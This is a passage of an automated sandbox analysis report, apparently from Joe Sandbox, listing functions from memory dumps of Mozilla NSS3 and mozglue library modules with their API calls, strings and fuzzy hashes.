Instruction Fuzzy Hash: 9F11C6B2B01161ABDB00AF65EC8499B773DFF082597540121E919D7E41E731F474C7E2

Function 6CBC2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CBC5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CBC5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBC2CEC

Part of subcall function 6CBDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBDC2BF

PR_EnterMonitor.NSS3(?), ref: 6CBC2D02
PR_EnterMonitor.NSS3(?), ref: 6CBC2D1F
PR_ExitMonitor.NSS3(?), ref: 6CBC2D42
PR_ExitMonitor.NSS3(?), ref: 6CBC2D5B

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 955a0504575d00be9e20ba8820070a19dac7eb94df8af2131be919f28b4fd054
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 5B01C8B5B002805BE7309E29FC40BCBB7A5EF55318F005925E85D86710D632F8198B93

Function 6CBC2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CBC5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CBC5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBC2D9C

Part of subcall function 6CBDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBDC2BF

PR_EnterMonitor.NSS3(?), ref: 6CBC2DB2
PR_EnterMonitor.NSS3(?), ref: 6CBC2DCF
PR_ExitMonitor.NSS3(?), ref: 6CBC2DF2
PR_ExitMonitor.NSS3(?), ref: 6CBC2E0B

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: e46b0282580aa7275fe6a4d475e7da376260c88a1494146822e978902878ef30
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 7101C8B5B002805BE7309E29FC01BCBB7A5EF51318F001435E85D97B11D632F4198693

Function 6CB5AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CB43090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB5AE42), ref: 6CB430AA
Part of subcall function 6CB43090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB430C7
Part of subcall function 6CB43090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CB430E5
Part of subcall function 6CB43090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB43116
Part of subcall function 6CB43090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB4312B
Part of subcall function 6CB43090: PK11_DestroyObject.NSS3(?,?), ref: 6CB43154
Part of subcall function 6CB43090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB4317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CB399FF,?,?,?,?,?,?,?,?,?,6CB32D6B,?), ref: 6CB5AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CB399FF,?,?,?,?,?,?,?,?,?,6CB32D6B,?), ref: 6CB5AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CB32D6B,?,?,00000000), ref: 6CB5AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CB32D6B,?,?,00000000), ref: 6CB5AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CB32D6B,?,?), ref: 6CB5AEA3

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 9223845187467e3d242864025b6029754d6f5a77c127e3d734f7d56b99e93cc4
Instruction ID: 140b7a71f0b9358584c27c11d28574bdccd5061a734a80642dff466f4846f693
Opcode Fuzzy Hash: 9223845187467e3d242864025b6029754d6f5a77c127e3d734f7d56b99e93cc4
Instruction Fuzzy Hash: 2D0128A2B040E097E701996CAC85BBF3258CBC765CFA80031E905F7B01F656D9254BF3

Function 6CC4ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CC4A6D8), ref: 6CC4AE0D
free.MOZGLUE(?), ref: 6CC4AE14
DeleteCriticalSection.KERNEL32(6CC4A6D8), ref: 6CC4AE36
free.MOZGLUE(?), ref: 6CC4AE3D
free.MOZGLUE(00000000,00000000,?,?,6CC4A6D8), ref: 6CC4AE47

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 1260a8bab71273ea5be90ab84b57d412d6dd0a28c5eb014efdc8cbdad4672900
Instruction ID: 06295efbe7d747a531df76a83f9fc0a71bb7ac26339f7bad60591a9f06d4d91d
Opcode Fuzzy Hash: 1260a8bab71273ea5be90ab84b57d412d6dd0a28c5eb014efdc8cbdad4672900
Instruction Fuzzy Hash: 8EF09676202A01ABCA109F68E848D577B78FF87B757148328E53A83940E735F165CBD5

Function 6CA3D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CA4CBE8: GetCurrentProcess.KERNEL32(?,6CA131A7), ref: 6CA4CBF1
Part of subcall function 6CA4CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA131A7), ref: 6CA4CBFA

EnterCriticalSection.KERNEL32(6CA9E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA4D1C5), ref: 6CA3D4F2
LeaveCriticalSection.KERNEL32(6CA9E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA4D1C5), ref: 6CA3D50B

Part of subcall function 6CA1CFE0: EnterCriticalSection.KERNEL32(6CA9E784), ref: 6CA1CFF6
Part of subcall function 6CA1CFE0: LeaveCriticalSection.KERNEL32(6CA9E784), ref: 6CA1D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA4D1C5), ref: 6CA3D52E
EnterCriticalSection.KERNEL32(6CA9E7DC), ref: 6CA3D690
LeaveCriticalSection.KERNEL32(6CA9E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA4D1C5), ref: 6CA3D751

Strings

MOZ_CRASH(), xrefs: 6CA3D4BB

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: ba853d467d7966ba1bee2479fbfc8c9dfcd79bc3b680c7f4453359ae6f3d63d0
Instruction ID: 1d8a2f540be70e881e9705833ed57e007f6dfe529cac18e838c9df670ba97d49
Opcode Fuzzy Hash: ba853d467d7966ba1bee2479fbfc8c9dfcd79bc3b680c7f4453359ae6f3d63d0
Instruction Fuzzy Hash: 5B510771A247118FD358CF29C4A525AB7F1FB89304F248A2ED5ADC7B85DB30E885CB91

Function 6CA6B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA14290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA53EBD,6CA53EBD,00000000), ref: 6CA142A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CA6B127), ref: 6CA6B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA6B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CA6B4E4

Strings

pid:, xrefs: 6CA6B4DE

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 787d52fb29fd1fd0d1ca797368b4a75426a4e5045b14be0a3a63699150733ad3
Instruction ID: 1666d63822b9d802104c1b3a65410a303e6aa0b0bf6f0f9e336b168d8a9db760
Opcode Fuzzy Hash: 787d52fb29fd1fd0d1ca797368b4a75426a4e5045b14be0a3a63699150733ad3
Instruction Fuzzy Hash: CD312931A01214CFDB00DFAAE844AEEB7B5FF44308F580629E81267E41D731E8C9DBA1

Function 6CAC6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CAC6D36

Strings

%s at line %d of [%.10s], xrefs: 6CAC6D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CAC6D20
database corruption, xrefs: 6CAC6D2A

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: beb39e72fa63450d40e5bf5d6fd5ef2ef69b9238a578768234b0a97b45f6ceee
Instruction ID: 50a0da540f9e3647934ebaec470a7dbd6b4a8dd9466083679b90af13456e88a9
Opcode Fuzzy Hash: beb39e72fa63450d40e5bf5d6fd5ef2ef69b9238a578768234b0a97b45f6ceee
Instruction Fuzzy Hash: 29210370704B059BC711CE2AC941B6AB7F6AF84318F18852CE8499BF51E771F9C9C792

Function 6CBFCC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CBFCD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CBFCC7B), ref: 6CBFCD7A
Part of subcall function 6CBFCD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CBFCD8E
Part of subcall function 6CBFCD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CBFCDA5
Part of subcall function 6CBFCD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CBFCDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CBFCCB5
memcpy.VCRUNTIME140(6CC914F4,6CC902AC,00000090), ref: 6CBFCCD3
memcpy.VCRUNTIME140(6CC91588,6CC902AC,00000090), ref: 6CBFCD2B

Part of subcall function 6CB19AC0: socket.WSOCK32(?,00000017,6CB199BE), ref: 6CB19AE6
Part of subcall function 6CB19AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CB199BE), ref: 6CB19AFC

Part of subcall function 6CB20590: closesocket.WSOCK32(6CB19A8F,?,?,6CB19A8F,00000000), ref: 6CB20597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CBFCCB0

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 0c95f2e813b07b6bde7b8d6a4aded66ebbb0cd0b0db42c244229dd0f1d485402
Instruction ID: 1409bfef774e2e3bba12303835cdc7ad45c4a5696f3e53481b81d31ab49df339
Opcode Fuzzy Hash: 0c95f2e813b07b6bde7b8d6a4aded66ebbb0cd0b0db42c244229dd0f1d485402
Instruction Fuzzy Hash: 5A1190F1B002809EDB10DF6E9C57B467ABC9346398F169529E51ACBF41F771C8488BD2

Function 6CABA8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6CBEA480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CC0C3A2,?,?,00000000,00000000), ref: 6CBEA528
Part of subcall function 6CBEA480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBEA6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CABA94F

Strings

%s at line %d of [%.10s], xrefs: 6CABA948
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CABA939
database corruption, xrefs: 6CABA943

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: c7556b647a64bc6c46a3267722c394bbf9ca347c1115330f90fda2acb2e7e4a5
Instruction ID: 69576e4ae787cce7a68b80ee001837e901c01070ebbeb785860078b8a595903f
Opcode Fuzzy Hash: c7556b647a64bc6c46a3267722c394bbf9ca347c1115330f90fda2acb2e7e4a5
Instruction Fuzzy Hash: 98014931E00208ABC7108ABADD11F9BB7F9EF88308F454439E95A6BF40E731AC099791

Function 6CB48850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CB50715), ref: 6CB48859
PR_NewLock.NSS3 ref: 6CB48874

Part of subcall function 6CBF98D0: calloc.MOZGLUE(00000001,00000084,6CB20936,00000001,?,6CB2102C), ref: 6CBF98E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CB4888D

Strings

NSS, xrefs: 6CB48887

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: 06502092508898be0ec52dcc110ccaa689359e2975d1675e982e7cf9fa024309
Instruction ID: fb615e550f5cc5e1882fbc53258fa988230f260d51cfd96e3e931a693142b476
Opcode Fuzzy Hash: 06502092508898be0ec52dcc110ccaa689359e2975d1675e982e7cf9fa024309
Instruction Fuzzy Hash: 0BF09666E4566033F25025696C06B8B759C9F5275FF048032E91CE7F82EB52951892F3

Function 6CA60C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA60CD5

Part of subcall function 6CA4F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA4F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA60D40
free.MOZGLUE ref: 6CA60DCB

Part of subcall function 6CA35E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA35EDB
Part of subcall function 6CA35E90: memset.VCRUNTIME140(6CA77765,000000E5,55CCCCCC), ref: 6CA35F27
Part of subcall function 6CA35E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA35FB2

free.MOZGLUE ref: 6CA60DDD
free.MOZGLUE ref: 6CA60DF2

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: a2e386c3a4d247b5aa28bb53aff02321d47834e8552a11e9fc8dceb215e686e2
Instruction ID: cdeb53e44d5db65f0047243ebac197b3691f3d4e26c842aaa534845a4c627cda
Opcode Fuzzy Hash: a2e386c3a4d247b5aa28bb53aff02321d47834e8552a11e9fc8dceb215e686e2
Instruction Fuzzy Hash: 45412771918784CBD320CF2AC18079AFBE5BF89714F108A2EE8D887B50D7709489CB82

Function 6CA6CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CA5DA31,00100000,?,?,00000000,?), ref: 6CA6CDA4

Part of subcall function 6CA2CA10: malloc.MOZGLUE(?), ref: 6CA2CA26

Part of subcall function 6CA6D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CA6CDBA,00100000,?,00000000,?,6CA5DA31,00100000,?,?,00000000,?), ref: 6CA6D158
Part of subcall function 6CA6D130: InitializeConditionVariable.KERNEL32(00000098,?,6CA6CDBA,00100000,?,00000000,?,6CA5DA31,00100000,?,?,00000000,?), ref: 6CA6D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CA5DA31,00100000,?,?,00000000,?), ref: 6CA6CDC4

Part of subcall function 6CA67480: ReleaseSRWLockExclusive.KERNEL32(?,6CA715FC,?,?,?,?,6CA715FC,?), ref: 6CA674EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CA5DA31,00100000,?,?,00000000,?), ref: 6CA6CECC

Part of subcall function 6CA2CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA2CAA2

Part of subcall function 6CA5CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CA6CEEA,?,?,?,?,00000000,?,6CA5DA31,00100000,?,?,00000000), ref: 6CA5CB57
Part of subcall function 6CA5CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CA5CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CA6CEEA,?,?), ref: 6CA5CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CA5DA31,00100000,?,?,00000000,?), ref: 6CA6D058

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 189951fc952a772d2b8a2657262c2f0fb09ae485adfd2f73a8272b1208628197
Instruction ID: 55472c8cb766810a3f1c4444932eae3766de3693944526bbf788b08e2a614ea8
Opcode Fuzzy Hash: 189951fc952a772d2b8a2657262c2f0fb09ae485adfd2f73a8272b1208628197
Instruction Fuzzy Hash: 59D17071A04B069FD708CF29C580799F7E1BF89308F15862DE85987B11EB31E9A5CBC1

Function 6CA35C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CA35D40
EnterCriticalSection.KERNEL32(6CA9F688), ref: 6CA35D67
__aulldiv.LIBCMT ref: 6CA35DB4
LeaveCriticalSection.KERNEL32(6CA9F688), ref: 6CA35DED

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 6f26ddb14d96507ac05ec9ed1acdc0c3e0a0123144e67a99e7058c5790c0c851
Instruction ID: 4c81529df764c66d51e1a3f45fbe9cdb0f8038e68faa04518c8bebd69802b73c
Opcode Fuzzy Hash: 6f26ddb14d96507ac05ec9ed1acdc0c3e0a0123144e67a99e7058c5790c0c851
Instruction Fuzzy Hash: 7A515271E103668FCF08CFACC955AAEB7B2FB85304F19861ED915A7751CB306946CB90

Function 6CB2C9B0 Relevance: 6.1, APIs: 4, Instructions: 128stringCOMMON
